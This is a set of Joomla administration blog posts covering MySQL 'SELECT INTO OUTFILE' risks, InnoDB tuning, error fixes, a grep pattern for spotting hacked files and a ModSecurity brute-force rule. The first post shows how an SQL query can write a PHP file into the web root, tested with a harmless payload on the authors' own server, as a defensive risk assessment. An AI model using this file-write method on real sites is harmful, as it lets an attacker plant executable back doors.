MySQL’s “SELECT INTO OUTFILE” – Should Joomla Administrators Be Afraid?

Note: This post is very advanced and is targeted at system administrators and advanced programmers.

Another note: The aim of this post is strictly to promote security on Joomla websites and to investigate potential threats. It is not aimed at teaching others how to exploit websites.

After reading a post this morning on the dangers of the “SELECT INTO OUTFILE” MySQL query statement, we initiated an investigation mission so that we can validate whether its threats are real or not.

Now, of course, you might be wondering, what is “SELECT INTO OUTFILE”?

“SELECT INTO OUTFILE” is a MySQL query statement that will write the selected rows into a file. For example, if you want to write the contents of the #__content table into a file, then you can run the following query:

SELECT * INTO OUTFILE '/tmp/content.csv' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"' LINES TERMINATED BY '\n' FROM `#__content`;

Theoretically, the above query should dump the content of the #__content table into the content.csv file which is located under the /tmp folder, which is fine, but let’s look at another example:

SELECT "" INTO OUTFILE '/home/[cpanel-user]/public_html/outfile.php'

The above query will (theoretically – you’ll see later in this post why we’re using the word “theoretically” a lot) generate a PHP file called outfile.php under the main directory of the Joomla website. Since the file is typically created with rw-rw-rw permissions, then this means that it can be accessed from the browser by going to: http://www.yourjoomlawebsite.com/outfile.php.

The outfile.php that we created is harmless, but one doesn’t need to have the imaginative mind of Charles Lutwidge Dodgson (aka Lewis Carroll, the man who wrote Alice in Wonderland, who sometimes believed in as many as six impossible things before breakfast), to know what a malicious user can do with that powerful command.

In order to know how much of a threat that query was, we created a test environment and played the Exploit my test website using “SELECT INTO OUTFILE” game, which rules were the following:

  1. We had to upload a PHP file to the root directory of the website using the “SELECT INTO OUTFILE” query.

  2. There are no other rules, which means that we can do anything on the server and change anything to succeed, including using our root privileges to the test server.

Here’s how we started playing the game:

  • We opened the file index.php which is located under the main Joomla directory.

  • We added the following code to its very end:

    $db = JFactory::getDbo();
    $sql = 'SELECT "<?php echo(\'Hello World from MySQL\'); ?>" INTO OUTFILE \'/home/[cpanel-user]/public_html/outfile.php\'';
    $db->setQuery($sql);
    print_r($db->query());

When we tried to load the website, we saw the following error:

1045 – Access denied for user ‘[mysql-database-user]‘@’localhost’ (using password: YES) SQL=SELECT “<?php echo(’Hello World from MySQL’); ?>” INTO OUTFILE ‘/home/[cpanel-user]/public_html/outfile.php’

A quick investigation revealed that cPanel database users are never given the FILE privilege, which is required to execute “SELECT INTO OUTFILE” queries. In fact, even if you grant all privileges to the database user from within the cPanel interface, the FILE privilege will not be granted. It has to be granted manually by the root user (using the GRANT FILE ON [joomla-database].* TO [mysql-database-user] query)…

Speaking of the root user, it already has the FILE privilege, so why not use it since we are in a consequence-free environment? So, we changed the database user in the configuration.php file to root (we also changed the password to that of the root), and we tried again, and here’s what we saw this time:

1 – Can’t create/write to file ‘/home/[cpanel-user]/public_html/outfile.php’ (Errcode: 13 – Permission denied) SQL=SELECT “<?php echo(’Hello World from MySQL’); ?>” INTO OUTFILE ‘/home/[cpanel-user]/public_html/outfile.php’

Aha! So, the root user was almost able to write the file, except that the file permissions prevented him from doing so. So, we changed the permissions of the public_html folder from 755 to 777 (775 didn’t work) and we tried again, and, unsurprisingly, it worked this time and it created the file. Wow!

Now, we wanted to verify that we were able to execute the file from the browser, so we pointed our browser to: http://www.testjoomlaenvironment.com/outfile.php, thinking that we will see the Hello World message, but instead, we saw this error:

Forbidden – You don’t have permission to access /outfile.php on this server.

Then we remembered that we had the following security rules in the .htaccess file to only allow the index.php file to be executed:

<Files *.php>
    Order Allow,Deny
    Deny from all
</Files>
<Files index.php>
    Order Allow,Deny
    Allow from all
</Files>

Removing those rules allowed the execution of the PHP file, and displayed the Hello World from MySQL message, which automatically made us win the game. Hooray!

But was it a fair game?

We admit, the game we played was not a fair game. First, there is a major assumption in this game, and it is that there is an exploit somewhere on the Joomla website that will allow us to inject the code, which, realistically, is only the case on a small percentage of Joomla websites. Second, even if there was an exploit, if it wasn’t for the second rule, we would have never been able to win; we would have been stuck trying to make the initial database user execute the “SELECT INTO OUTFILE” command.

But what really made the game impossible to win without “cheating” (e.g. without the second rule) was the fact that the WHM/cPanel environment is a very secure environment. For example, the privileges granted to database users do not include the FILE privilege and the permissions on the folders are correct (compare that to a Plesk environment where the whole thing looks like a mess [Note: We are not hinting here that Plesk, as an environment, is insecure or less secure than WHM but we have yet to see permissions done correctly on a Plesk hosted website]).

As you can see, the “SELECT INTO OUTFILE” query is a dangerous query, but you are more likely to win the lottery than get hacked using this query if you’re on a WHM/cPanel environment. If you’re on a less secure environment, then it is very important to make sure that the database user that you’re using does not have any FILE privilege. If in doubt, please contact us. We are always ready to help, our fees are super affordable, and we know how to ironclad a Joomla website.

MySQL InnoDB Optimization for Large Joomla Websites

One of the first things that we used to do to resolve a substantial part of load issues caused by a Joomla website was to switch the main content tables from MySQL InnoDB database engine to MySQL MyISAM. The results were always impressive. Nevertheless, we always had conflicting feelings after the switch: while we were happy that the load was down, we knew that we were playing with fire and we knew that there’s a way to make InnoDB work on a very large Joomla database, but we decided to play re-actively on this issue, and not proactively.

The reason why we knew that we were playing with fire is the fact that MyISAM locks the whole table when inserting, deleting, or updating rows, which means that any subsequent CRUD (Create, Read/Retrieve, Update, Delete) activity will have to wait for the lock to be released to get executed. Of course, the locking time is typically very small, but things can get very ugly very quickly when a massive update to a critical table takes place, and so all the queries needing that table will have to wait for a long time, creating an unmanageable backlog of queries, ultimately causing the server load (caused by MySQL) to skyrocket.

The nice thing about InnoDB is that, unlike MyISAM, it only locks the row(s) it is updating/adding/deleting, essentially reducing any lock time to nil. But, for the life of us, we were unable to get InnoDB play well on large Joomla websites powered by large databases.

A few weeks ago, however, everything changed. We started seeing some minor performance issues on a large Joomla website that we manage. We ssh’d to the server and we noticed that the load was hovering around 3, which is not bad, but not good either. A load of around 3, when the main load is caused by MySQL (and not by other processes), typically hints that there are some slowdowns on the website. So, we optimized the website even more (we performed many core optimizations on that particular website before), but the outcome wasn’t great. We were frustrated, and we knew that we have reached the physical limit of MyISAM – but we were just afraid of jumping into the abyss.

Eventually, we decided to take that leap of faith, because, as mentioned in the beginning of this post, we knew that InnoDB would perform much much better than MyISAM provided the right database configuration settings were chosen. We were so determined to making this whole thing a success that we even switched to a better server that had double the memory and a faster SSD. Here are the server details (note that the website in question receives 50,000 uniques/day, and, believe it or not, the System – Cache plugin is disabled on that website):

Processor: Intel Xeon E5-2650 v3 10 Cores
Memory: 64GB DDR4 SDRAM 0.00
Primary Hard Drive: 6 x 500GB Crucial SSD Hardware RAID 10
Secondary/Backup Hard Drive: 1TB SSD Backup Drive 0.00
Linux OS: CentOs 6 - 64Bit 0.00
Control Panel: cPanel / WHM - Fully Managed

Since we were switching to InnoDB, we cared mostly about 3 things: more RAM, a fast SSD drive, and a fast processor (in that order). The RAM was doubled (the client had 32 GB before), the SSD drive was slightly faster, and the processor was much faster (despite the fact that the client had a 48 core AMD processor before).

After moving to the new server, we noticed that not much has changed, the load dropped slightly and hovered around 2.8 (which was still not good) and the (unfixable) slow queries were still being recorded to the slow query log. It was definitely a good time to test the power of InnoDB to see whether it solves the problem or not.

How we switched from MyISAM to InnoDB

Switching from MyISAM to InnoDB consisted of 3 steps:

  1. Modifying the MySQL configuration file to ensure InnoDB runs optimally.

  2. Restarting the MySQL server.

  3. Switching all the database tables from MyISAM to InnoDB.

Of course, the most difficult part was finding the right InnoDB configuration settings for that particular website, and after a lot of very hard work, we found them! Here they are:


innodb_buffer_pool_size = 8G
innodb_log_file_size = 2G
innodb_log_buffer_size = 256M
innodb_flush_log_at_trx_commit = 0
innodb_flush_method = O_DIRECT

After determining the above values, we added them to the my.cnf file in the /etc folder.

Of course, the million dollar question (if you’re reading this post in the year 2100 then please change million to billion for accuracy) is, how to determine the above values? While we know that you are not going to give us a million dollars for our answer (or is it that the one who asks the question gets the million dollar? We’re not really sure!) we are going to explain how we got the above values for you anyway:

innodb_buffer_pool_size is probably the most important value here. InnoDB loads all the tables in the RAM, and so when a query hits an InnoDB table, the database engine will check if that table is already in the RAM, if it is, then it queries the table from the RAM (and not from the disk), if it isn’t, then it loads it in the RAM, and then queries it from there. innodb_buffer_pool_size, as you may have guessed, is the maximum amount of RAM that can be used by InnoDB for table storage – if InnoDB reaches that maximum, then it’ll start querying tables directly from the disk, which is a much slower process. Most references state that the amount of RAM allocated to innodb_buffer_pool_size should be 80% of the total RAM, but we think this is just too much. Additionally, these references assume that the database server runs on a different physical server, which is not the case for the absolute majority of our clients (they have the database server, the web server, and the mail server, all running on the same physical server). Since innodb_buffer_pool_size will contain, at max, all the data in all the databases, then an intelligent way to determine its value would be by calculating the size of the /var/lib/mysql folder by issuing the following command in the shell:

du /var/lib/mysql -ch | grep total

In our case, the above returned 2.4 G, so we just multiplied it by 3 and we rounded it, and we came up with 8 G (8 Gigabytes). Of course, even 3 G could have worked for us, but we just didn’t want to take any chances and we had a lot of RAM. Don’t be frugal with this value as it’s the most critical in an InnoDB environment.

innodb_log_file_size is the size of the physical logs where all the recent database activities are cached for both performance reasons and to restore the database after a crash. innodb_log_file_size is a bit more complex that innodb_buffer_pool_size to accurately determine (make that highly complex). But, a good rule of thumb that works well for most database instances it to set this value to 25% of the innodb_buffer_pool_size, which is in our case 2 G.

Of course, you might be asking yourself, why not just set the innodb_log_file_size to a very high number and then forget about it? Well, you shouldn’t do that because of 2 reasons:

  1. Restarting MySQL will take a very long time. In fact, when we restarted MySQL with innodb_log_file_size changed to 2 G, we had to wait for about 3 minutes (when the value was set at about 256M, restarting the server took just a few seconds), this is because MySQL had to write 2 files of 2 G each to the fileystem: ib_logfile0 and ib_logfile1 (now you know what these weird ib_logfiles files under the /var/lib/mysql folder are).

  2. Restoring a crashed database will also take a lot of time. Keep in mind that a crashed database is not a remote possibility, and we’ve seen it happen many times (almost all cases were caused by a power outage).

innodb_log_buffer_size is the size of the RAM that InnoDB can write the transactions to before committing them. Honestly, a value of 64 M is more than enough for almost any MySQL database server (most MySQL servers have it set to 8 M), but we changed it to 256 M when experimenting and we didn’t change it back as a large innodb_log_buffer_size has zero negative effect on the server. In all fairness, probably a value of 1 M could have worked for us because we’re not even using database transactions anywhere on the Joomla website (see below).

innodb_flush_log_at_trx_commit is (more or less) an on/off setting for database transactions (when set to 1, it means we are allowing database transactions, when set to 0, it means we are not allowing database transactions). The absolute majority of Joomla websites out there don’t use database transactions (for clarification, a database transaction is completely different from a payment transaction), which means that this should be set to zero (0). The default value of 1 means that the InnoDB database engine is ACID (Atomicity, Consistency, Isolation, Durability) compliant (meaning that the transactions are atomic), which creates a significant overhead on the MySQL database server (even when it’s not needed).

innodb_flush_method is a setting to tell MySQL which method to use to flush (delete) the database data (not actual data, but the cached data) and logs. If you’re using RAID, then set it to O_DIRECT. Otherwise, leave it empty.

After applying the above settings in the my.cnf file, restarting the MySQL server, and then changing all the tables from MyISAM to InnoDB, we saw a huge improvement in the performance: the load dropped to slightly over 1, and the slow query log stopped recording slow queries every few minutes (in fact, we only had 3 slow queries since we did the switch 3 weeks ago). Even Google saw a substantial improvement, see for yourself:

Time spent downloading pages: Before and after InnoDB Switch

Figure 1: Time spent downloading pages: Before and after InnoDB Switch (this is a snapshot taken from the “Crawl Stats” page from Google Search Console)

As you can see, the time spent downloading a page has decreased significantly as of June 30th (which is when we switched to InnoDB). One can safely say that the download time was halved! Impressive, huh?

We hope that you found this post useful. If you have need help with the implementation, then you can always contact us. Our rates are super affordable, our work is super clean, and we will make your Joomla website much, much faster!

“The File Cache Storage is not supported on this platform.” Error After Updating to Joomla 3.6

A client called us very early this morning and told us that after he updated to Joomla 3.6 (from Joomla 3.5.1), he was seeing the following fatal error on the Joomla backend:

The File Cache Storage is not supported on this platform.

We immediately investigated the issue (it was around 5 AM), and we realized that it was caused by the following code in the storage.php which is located under the libraries/joomla/cache folder:

// Validate the cache storage is supported on this platform
if (!$class::isSupported())
{
	throw new RuntimeException(sprintf('The %s Cache Storage is not supported on this platform.', $handler));
}

Tracing the isSupported function, we found out that it is located (for that particular scenario) in the file.php file which, in turn, is located under the libraries/joomla/cache/storage folder. Here is its code:

public static function isSupported()
{
	return is_writable(JFactory::getConfig()->get('cache_path', JPATH_CACHE));
}

So cache_path, which is (almost always) JPATH_CACHE, which translates to the cache folder or to the administrator/cache folder (depending on whether the user is browsing the frontend or the backend) is not writable by Joomla (e.g. it is not writable by the web server, which was Apache in the case of our client).

Since the issue was only happening on the backend, then this meant that the folder administrator/cache was not writable. So, in order to fix the problem, all that we had to do was to change the permissions and the ownership on that folder to make it writable by Joomla.

Why was the problem only happening on the backend?

The problem was only happening on the backend because the cache folder, located under the root directory of the Joomla website, was writable, but the one under the administrator folder wasn’t.

Why is this suddenly an issue with Joomla 3.6?

Previous versions of Joomla did not have the RuntimeException statement when the cache folder wasn’t writable. They were silently handing the issue by just not caching the content, which is the right way to do things. We think that this problem will cause the Joomla core developers to act and revert that change.

In any case, if you’re having this error on your Joomla website, then make sure that you have both the cache and the administrator/cache folders writable by your web server. If you need any help, then please contact us. Our fees are super affordable, our work is fast and professional, and we are the friendliest Joomla developers on planet Earth!

Searching for the “*/$” Pattern on Your Joomla Website to Discover Hacked Files

Over the course of the last decade, we have unhacked and secured many Joomla websites ranging in size from very small to very large. In most cases, cleaning up a Joomla website consists of the following steps:

  1. Blocking all traffic to the website.

  2. Backing up the website.

  3. Overwriting the core files from a fresh Joomla install matching the same version.

  4. Scanning the website using various tools and deleting the malicious files.

  5. Only allowing the index.php file to be executed by Apache as described here.

  6. Preventing direct access to core folders.

  7. Installing the itoctopus Joomla firewall (a homemade firewall that we install for our clients).

  8. Updating the Joomla website to the latest stable version and updating/uninstalling vulnerable extensions (optional – as some clients want to only cleanup the website and prefer to update at a later time [of course, we always recommend to perform both the cleanup and the update at the same time]).

  9. Testing the website (we whitelist our IP in order to do that).

  10. Backing up the clean version of the website.

  11. Unblocking access to the website.

Typically, the various tools that we use in step number 4 above find all the malicious files on the website, but not always, which was a major problem and which caused the cleanup process to take a lot more time.

However, lately we have noticed the following pattern in almost all the malicious files that were not caught by the scan: */$

Let us explain…

You see, malicious code is typically highly compressed, and so usually, there are no spaces between a comment and a variable declaration, which means that searching for */$ will most likely return all of the malicious files on your Joomla website. Here’s the ssh command that you should use to search for it:

grep -R --include=*.php '\*\/\$' *

(Note: This command should be run at the root directory of your Joomla website, e.g. at the same level of the main index.php file).

The above command may return some false positives, but that’s OK, because they are typically few, and are easily recognizable.

We hope that you found this post useful and that it helped you cleanup your Joomla website. If you still think that your website is not fully clean, or if you want some Joomla security experts to do the cleanup for you, then please contact us. We will clean your website, we will secure it, and we will not charge you much!

“Could not connect to MySQL.” Error on a Joomla Website

Yesterday (Friday) we explained how a full disk brought the Joomla website of a client of ours completely down. We also mentioned that we upgraded the VPS plan of that client to a more generous plan in terms of disk drive and memory – what we didn’t mention, however, was that the VPS upgrade did not go smoothly, because when the upgrade was done, we saw the following error on the homepage of the website:

Error displaying the error page: Application Instantiation Error: Could not connect to MySQL.

Now, probably most of those who have an intermediate knowledge of Joomla know that the above error is caused by one of the following:

  • The database username and/or password and/or database name and/or database host is/are wrong.

  • The database user does not have full read/write access to the database.

  • The database server is not running.

  • The mysqli PHP module is not installed.

We were confident that the error was not caused by any of the above, nevertheless, we decided to create a small PHP file that will test the connection to the database just to be sure. So, we created a file called check-mysql-connection.php which contained the below code:

<?php
$dbConnection = new mysqli("localhost", "[db-username]", "[db-password]", "[db-database-name]");
if ($dbConnection ->connect_errno !== FALSE)
	echo $dbConnection ->connect_error.' (Error Number: '.$dbConnection ->connect_errno.')';

?>

Running the above file generated the following error:

Warning: mysqli::mysqli(): (HY000/2002): No such file or directory in /home/[cpanel-user]/public_html/check-mysql-connection.php on line 2
No such file or directory (Error Number: 2002)

Hmmm! So it was something with mysqli. We immediately assumed that it wasn’t installed on the new VPS instance, so we logged in to WHM, went to EasyApache 3, and then checked the ** DEFAULT ** (selected) profile. We noticed 2 things:

  • The mysqli module was installed.

  • The VPS instance was running an EOL (End Of Life) version of PHP, which was version 5.4.45.

So we switched, on the PHP Version page (in EasyApache), to PHP 5.5.37. We then clicked on Next Step, and then we clicked on Save and Build. We followed the instructions and then tested the website, and this time it worked!

But why didn’t the mysqli PHP module work with PHP 5.4.45?

We suspect that was because the installed mysqli module wasn’t compatible with that version of PHP. Upgrading to PHP 5.5.37 ensured that everything was compatible with that particular version of PHP.

So, the next time you see that Could not connect to MySQL error on your Joomla website, make sure (after verifying the obvious: username, password, host, permissions, etc…) that the problem is not with your version of PHP. If you need help finding and fixing the problem, then that’s what we’re here for. Just contact us and we’ll solve the problem for you quickly, professionally, and for a very small fee!

“An error has occurred” When Trying to Login to the Backend of a Joomla Website

A regular client of ours called us a couple of hours ago and told us that her company’s website was down, and she was seeing a weird error when trying to login to the administrator section of her Joomla website.

We immediately checked the website and we noticed that the website was complaining about too many redirects. So we asked the client whether she did any redirects lately, and she told us that she did one yesterday through sh404SEF, but the website was working fine until this morning.

So, we tried to login to the website, but we saw the following error as soon as we went to http://www.ourclientjoomlawebsite.com/administrator/:

An error has occurred.
404 Not Found

Yes – we were getting a 404 Not Found when trying to access the login form (before even trying to login), even though the index.php file under the administrator folder had the right permissions and was being loaded by Joomla (we added a die statement at its very beginning to make sure that it was indeed being used).

At this point, we started suspecting that the website was hacked. Since we were confident that that particular website had no core modifications, we thought about applying our super quick cleanup method by just uploading a fresh copy of Joomla (matching the version of our client’s Joomla website) through cPanel and extracting it onto the existing Joomla website. But, as soon as we tried to login to the cPanel account of our client, we saw the following error:

Sorry for the inconvenience!

The filesystem mounted at / on this server is running out of disk space. cPanel operations have been temporarily suspended to prevent something bad from happening. Please ask your system admin to remove any files not in use on that partition.

Aha! The system completely ran out of space, and this explained why the website was down: both logging in to the administrator and viewing the homepage required write activities to the database/filesystem that were not allowed!

Just to make sure, we ssh’d to the server, and we issued the following command…

df -m

…and we noticed that /dev/vda3 (the main website partition) was 100% used.

So, how did we fix the problem?

We fixed the problem by removing old backups from the server, which reduced usage on the aforementioned partition to about 70%. Once that was done, we deleted the content of the cache folder under the website’s directory and we checked the website. And Voilà, everything was working again!

Once we were sure that the website was stable, we upgraded the client’s VPS to a higher plan that guaranteed double the disk space (and double the RAM).

If you’re seeing a 404 error when trying to access the backend of your Joomla website, then do not panic: your website is still there. It’s just that your server ran out of disk space, and you will have to remove unnecessary backups for everything to work again. If you want us to help you resolve this problem, then please contact us. Our prices are right, our work is professional, and we are very very reliable!

An Awk Line to Generate a List of 404 Pages Sorted By Number of Hits

Note: This post assumes a WHM based environment. If you are using Plesk or anything else, then the log path may be different. Please take that into consideration.

With time, most websites will have an increasing number of 404 pages. This is natural and it is caused by changes in the link structure, wrong incoming links, deleted/moved files, etc… The majority of websites typically ignore 404s, but we know that this is not the best route to take, especially in Joomla: in a previous post, we have explained the dramatic load issues that 404 pages can cause on Joomla websites. Now while we did propose, in that post, a core solution to address the consequences of 404 pages (which is also critical to lessen the effects of DoS attacks), that doesn’t mean that we think that 404 pages should be left unattended. In fact, we think that, as a Joomla administrator, you should analyze your logs often (ideally once a month), and, at the very least, address the 404 pages that appear the most in your logs to ensure long term stability of your website and your server (not to mention the positive SEO implications of doing so).

To make that task easier, we have devised a line, just one simple line, which will list all the 404 pages that you have in your logs reversely ordered by the number of hits. This will allow you to address the 404s that matter most. The line consists of a shell command using awk, a very powerful Linux shell tool mainly used for searching and analyzing files. Without further delay, here is the line (note that you must ssh as root in order to run the below command):

awk '{ if ($9 == 404) print $7 }' /home/domlogs/cpanel-user/yourjoomlawebsite.com | sort | uniq -c | sort -nr > 404-urls.txt

(Note: cpanel-user is the cPanel account username of your domain. Yes, duh!)

The above command checks each line (in the log file) if its 9th field is 404, if it is, then it will extract the URL from that line (which is the 7th field), put it in temporary memory, and then get a list of all the unique URLs as well as the number of their occurrences in the original log file. Finally, it sorts the list of unique URLs based on the number of occurrences of each URL, and then outputs the result to the file 404-urls.txt.

But why not just use Google Search Console to get the list of 404 pages?

Google Search Console (previously known as Google Webmaster Tools) generates a list of 404 pages on any website. However, that list is often out of date and does not generate the accurate results that one gets when examining the Apache access logs. Nevertheless, it is still a good idea to address all the issues that Google Search Console finds on your website, including 404 pages.

We hope that you found this post useful. If it didn’t work for you, then it might be that your log paths are different on your server. If you can’t find them or if you need help with the implementation, then please contact us. Our work is top notch, our fees are affordable, and we are the most courteous and friendliest Joomla developers on planet Earth.

No Save Button in Joomla’s Backend – How to Fix

A client emailed us this Saturday morning and told us that he’s not able to see the Save button when he opens any content item for editing (such as articles, categories, modules, etc…). So we logged in to the backend of his website and we noticed that not only the Save button was missing, but also the following buttons: Save & Close, Save & New, Save as Copy, Versions, and Close. In fact, the whole toolbar was missing.

We immediately knew what the problem was: the Toolbar administrator module was disabled. This meant that all we needed to fix the problem was to re-enable the module, and we did it the following way:

  • We went to Extensions -> Modules in the Joomla backend.

  • On the left panel, we selected Administrator instead of Site from the first dropdown.

  • We searched for Toolbar in the search box, and then we clicked on the red X next to Toolbar to enable the module.

  • We then tried to edit a random article to check that the Save button was there (along with the other buttons in the toolbar) and it was. The problem was solved!

Of course, the million dollar question right now is what caused it to be disabled in the first place? Our answer is, we don’t know, and the client wasn’t really interested in knowing so we couldn’t do any investigation to discover how it was done. But we suspect it was done by someone who had legitimate access to the website, either intentionally or unintentionally. But again, we can’t be sure.

If you can’t see the Save button in the backend of your Joomla website, then most likely your Action Toolbar was disabled. You can re-enable it by following the above guide. If it doesn’t work for you, then make sure you delete your Joomla administrator cache (you can do this by wiping out the contents of the administrator/cache folder). If it still doesn’t work for you, then we suggest you contact us. Our fees are affordable, our work is top-notch, and we are reachable 24/7/365!

A ModSecurity Rule to Block Brute Force Attacks on a Joomla Website

At itoctopus, we dedicate a lot of time to research, especially on enhancing Joomla’s security and performance. Today’s post is a fruit of that research, as we have managed to devise a concise ModSecurity rule to block brute force attacks on a Joomla website.

In case you don’t know what ModSecurity is, it is a firewall module that integrates with the Apache web server (among other web servers). What makes it very powerful is its versatility: it has a rules engine which allows system administrators and developers to develop rules to block an IP based on the its activity, and it has some built-in generic rules that can be whitelisted if they cause problems to the hosted application.

Going back to Joomla, most Joomla websites suffer from brute force attacks on the login page of their backend, and, because of that, their administrators resort to some 3rd party extensions that can handle brute force attacks at the application level. The problem with such extensions, however, is the fact that they are extensions, which means the Joomla framework must be loaded everytime the attack takes place.

ModSecurity, on the other hand, blocks brute force attacks at the server level, which means that the offending IP will not even reach the Joomla application, which is much better from server load perspective.

So, how do you block brute force attacks on a Joomla website with ModSecurity?

We’re glad you have finally asked. Here is a step-by-step super-easy to implement instructions on how to do that:

  • ssh to the server as root.
  • Edit the custom.conf file located under the /usr/local/apache/conf/modsec2/ folder (note: this folder location is the one used in a WHM based server, if you’re using something different, then the folder location might be different). You can use vi to edit the file by just issuing this command:

    vi /usr/local/apache/conf/modsec2/custom.conf

  • Add the following code to the custom.conf file:

    <Location /administrator>
        SecDefaultAction phase:2,deny,status:403,log,auditlog
        SecRule IP:bf_counter "@eq 5" "id:1000002,phase:2,log,block,expirevar:IP.bf_counter=3600,msg:'IP address blocked because of a suspected brute force attack on the Joomla website'"
        SecRule ARGS:option "@streq com_login" "id:1000000,phase:2,chain,t:none,log,pass,msg:'Multiple Joomla authentication failures from IP address', setvar:IP.bf_counter=+1"
    </Location>

  • Save the file and then restart Apache using the following command:

    service httpd restart

  • Try to login to the Joomla website 5 times with wrong credentials and, on the sixth time, you will be directed to a 403 Forbidden page.

  • Now go back to sleep knowing that malicious users will not exhaust your server with their incessant brute force attacks!

Now, of course, you might be wondering what that gibberish code that you added to the custom.conf file really means, so let us explain…

This line…

SecDefaultAction phase:2,deny,status:403,log,auditlog

…specifies what action will be taken when the rule blocks the IP. In this line, we are telling ModSecurity to deny access to the page with a 403 error. Not much else you need to know here.

This line…

SecRule IP:bf_counter "@eq 5" "id:1000002,phase:2,log,block,expirevar:IP.bf_counter=3600,msg:'IP address blocked because of a suspected brute force attack on the Joomla website'"

Checks the variable bf_counter if it’s equal to 5. If it is, then the following happens: rule number 1000002 is triggered (you can give the rule any number you want, provided that number is not already assigned to another rule), we log the event (using the log instruction), we block the IP (using the block instruction), we remove the bf_counter variable after 3600 seconds (hence the expirevar:IP.bf_counter=3600 code – which means that the attacker will be blocked from accessing the page for 3600 seconds), and then we specify which message ModSecurity should have in the logs (which is this one “IP address blocked because of suspected brute force attack on the Joomla website”)

This line…

SecRule ARGS:option "@streq com_login" "id:1000000,phase:2,chain,t:none,log,pass,msg:'Multiple Joomla authentication failures from IP address', setvar:IP.bf_counter=+1

…is the heart of the blocking logic and it took us a lot of time just to know what to have in there. You see, when you login unsuccessfully to a Joomla website, com_login will be a post value passed back to the login page. This value is not passed to any page once the login is successful, which means that every time we see com_login in a post value, it means that we have an unsuccessful login, and we must increment the login counter. The line above does that the following way: it checks if any of the ARGS variables (any post or get variable) has com_login in its value (@streq com_login), if it is, then we define rule 1000000, which will increment the bf_counter by 1. The bf_counter variable is checked by the previous rule: once above 5, the request will be blocked.

Can the ModSecurity rule above be modified to be more lenient just so false positives are not blocked immediately for an extended period of time?

Yes! For example, if you want to change the number of retries to 10 and reduce the time that it takes to reset the number of retries to 30 minutes (1800 seconds), then all you need to do is change the second line in the rule (well, technically the third line if you count the <location… line as the first line) to:

SecRule IP:bf_counter "@eq 10" "id:1000002,phase:2,log,block,expirevar:IP.bf_counter=1800,msg:'IP address blocked because of suspected brute force attack on the Joomla website'"

Are there any caveats?

Well, as a matter of fact, there are 2 caveats:

  1. The above rule effectively makes com_login a blacklisted word, which means that if you have an article with com_login anywhere in its body, and you save it, then every save will count towards the bf_block limit. Of course, the absolute majority of Joomla websites will not use the word com_login anywhere in their content, but some technical websites may.

  2. We are not resetting bf_block when the login is successful, which means that if, you try to login 3 times with wrong credentials, and then you login successfully, and then you logout, and then you login 2 times with wrong credentials, then you will be blocked on the 6th attempt.

We hope you enjoyed this post the same way we enjoyed researching it and writing it (note that we used the book ModSecurity Handbook which is written by one of the programmers who heavily worked on ModSecurity). If you need a little help with the implementation, then we can definitely help. Just contact us and we’ll do it for you swiftly, cleanly, and for a very affordable fee!

The Mystery of the Joomla Login Timeout

Back in May (today is the 21st of June, the day that should have been the summer solstice, but instead it was yesterday, since this year is a leap year [you learn something new every day!]) we had a client who approached us with a very weird problem. The client’s problem, to put it simply, was the sudden inability to login to both the backend and the frontend. In short, the login worked, and then, all of a sudden, it didn’t (it just timed out). After a while, it started working again only to stop working shortly after.

From the get-go, we felt that this had something to do with an aggressive firewall, as firewall issues are usually characterized by erratic problems. What confirmed our theory was the fact that the problems started happening not long after the website was temporarily moved to a different server.

Since we didn’t have root server access to the temporary hosting (and neither did the client, for that matter), we asked the client to authorize us to move her website to another high-end host that we trust, and she did. So, we moved the website, we tested the website (including the login), and everything worked smoothly! We were happy and the client was happy, for a while…

The next morning the client called us and told us that she was experiencing the exact same issue: her clients were not able to login. That, of course, meant that our firewall theory was wrong, and there was something else causing this problem. So, we checked what was going on, and we noticed that there was an authentication plugin connecting to Paradiso which is an online LMS. The way how that plugin worked was a bit complex: it authenticated the login on Paradiso, and then Paradiso authenticated back the login on the joomdle extension on the Joomla website. Disabling the plugin fixed the problem, but, as you might have probably guessed, it also broke the most important functionality that the website had, which was the LMS integration (needless to say, this made the website useless).

Investigating the issue further proved that the login was timing out when the Paradiso authentication plugin (on the Joomla website) was connecting to the Paradiso website (in order to post the login credentials), so we thought that the issue was definitely on Paradiso’s end. So we asked Paradiso to check the logs on their end to see what’s going on, but they told us that everything was normal on their end, and that the client’s server IP was not blocked.

So, we just took the Paradiso URL and tried to load it directly (from the browser), and it worked. Hmmm… We were still not convinced and we still thought it was Paradiso’s problem. Nevertheless, we decided to check our logs, and, to our surprise, we found the following:

2016-05-19 15:02:22 SMTP connection from [52.36.77.46]:38053 (TCP/IP connection count = 1)
2016-05-19 15:02:32 SMTP call from us-west-2.compute.amazonaws.com [52.36.77.46]:38053 dropped: too many syntax or protocol errors (last command was "?4?2?\016?\r?\031?\v?\f?\030?  ?")
2016-05-19 15:22:53 SMTP connection from [52.36.77.46]:38397 (TCP/IP connection count = 2)
2016-05-19 15:23:03 SMTP call from us-west-2.compute.amazonaws.com [52.36.77.46]:38397 dropped: too many syntax or protocol errors (last command was "?4?2?\016?\r?\031?\v?\f?\030?  ?")
2016-05-19 15:23:06 1b3TXG-0005Wz-GJ <= root@host.[ourclientdomain].com U=root P=local S=2865 T="lfd on host.[ourclientdomain].com: blocked 52.36.77.46 (US/United States/us-west-2.compute.amazo" for root

Aha! So, it was our client's server that was blocking Paradiso's IP, and not the other way around, and it was blocking their IP because it was sending malformed syntax to the mail server, which explained this whole mess. Finally! After working on this problem for days we found out what the exact cause was!

So, how did we fix the problem?

Fixing the problem was easy - we just whitelisted Paradiso's IP and we then told Paradiso to fix their mail sending program, which they said they will do immediately (we can't confirm whether they fixed it or not).

And why wasn't this a problem for our client before?

Most likely because our client's website resided on a server with no firewall, or, at best, with very loose firewall settings. Any half-decent firewall should block malformed requests to any server application, which incidentally, brings us to this question: why didn't other Paradiso customers complain about this and why was our client the only one affected with this? Obviously, this is a rhetorical question, but a valid question nonetheless.

In any case, we hope that you found this post helpful. If you are facing the same problem on your Joomla website, then check your server logs as the problem may be at the server level. If you can't find anything in the logs or if you need help, then please contact us. We will find what the problem is, we will fix it for you, you won't pay us much, and most likely, you will gain new friends (that's us)!

On Wicked Joomla Developers

It is Friday afternoon, and we have a little present for you: a free real life suspense story about a wicked Joomla developer, how he crashed his client’s website, and how we knew who he was, Sherlock Holmes style. Coincidentally, this post comes after our bad Joomla developers post, which makes sense, as a wicked developer is also a bad developer, but with decisively more intentional destructive capabilities. Are you ready? Let’s start!

